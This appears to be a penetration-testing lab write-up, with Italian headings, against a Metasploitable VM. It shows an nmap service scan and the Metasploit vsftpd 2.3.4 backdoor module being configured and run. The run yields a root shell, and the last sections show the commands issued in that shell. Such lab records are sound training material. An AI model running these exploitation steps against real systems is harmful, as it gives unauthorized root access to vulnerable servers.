

1) Scan con Nmap:

```
(davide@kali)~]$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=0.340 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=0.205 ms
^C
--- 192.168.50.101 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1034ms
rtt min/avg/max/mdev = 0.205/0.272/0.340/0.067 ms

(davide@kali)~]$ sudo nmap -sV 192.168.50.101
[sudo] password di davide:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 11:42 CEST
Stats: 0:01:02 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.92% done; ETC: 11:43 (0:00:00 remaining)
Nmap scan report for 192.168.50.101
Host is up (0.00026s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:7F:1D:B7 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.86 seconds
```

2) Impostazione opzioni di Metasploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   | no              | no       | The local client address                                                                                                                                                                            |
| CPORT   | no              | no       | The local client port                                                                                                                                                                               |
| Proxies | no              | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | yes             | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|



Exploit target:


| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.50.101
rhost => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show missing
Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|



Payload options (cmd/unix/interact):


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|


```

3) Impostazione del payload

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set

Global
=====
No entries in data store.

Module: unix/ftp/vsftpd_234_backdoor
=====



| Name                       | Value          |
|----------------------------|----------------|
| AutoRunScript              |                |
| AutoVerifySession          | true           |
| CHOST                      |                |
| CPORT                      |                |
| CommandShellCleanupCommand |                |
| ConnectTimeout             | 10             |
| ContextInformationFile     |                |
| CreateSession              | true           |
| DisablePayloadHandler      | false          |
| EnableContextEncoding      | false          |
| InitialAutoRunScript       |                |
| Proxies                    |                |
| RHOSTS                     | 192.168.50.101 |
| RPORT                      | 21             |
| SSL                        | false          |
| SSLCipher                  |                |
| SSLServerNameIndication    |                |
| SSLVerifyMode              | PEER           |
| SSLVersion                 | Auto           |
| TCP::max_send_size         | 0              |
| TCP::send_delay            | 0              |
| VERBOSE                    | false          |
| WORKSPACE                  |                |
| WfsDelay                   | 2              |


```

4) Exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.108:39885 → 192.168.50.101:6200) at 2023-06-03 11:54:52 +0200
```

5) Comandi da shell

```
whoami
root
sysinfo
sh: line 7: sysinfo: command not found
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd
sh: line 9: cd: HOME not set
mkdir test_metasploit
```

6) Creazione cartella con Metasploit

```
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/ $ ls
bin      dev      initrd      lost+found  nohup.out  root      sys      usr
boot     etc      initrd.img  media       opt         sbin      test_metasploit  var
cdrom    home     lib         mnt         proc        srv        tmp        vmlinuz
msfadmin@metasploitable:/ $ _
```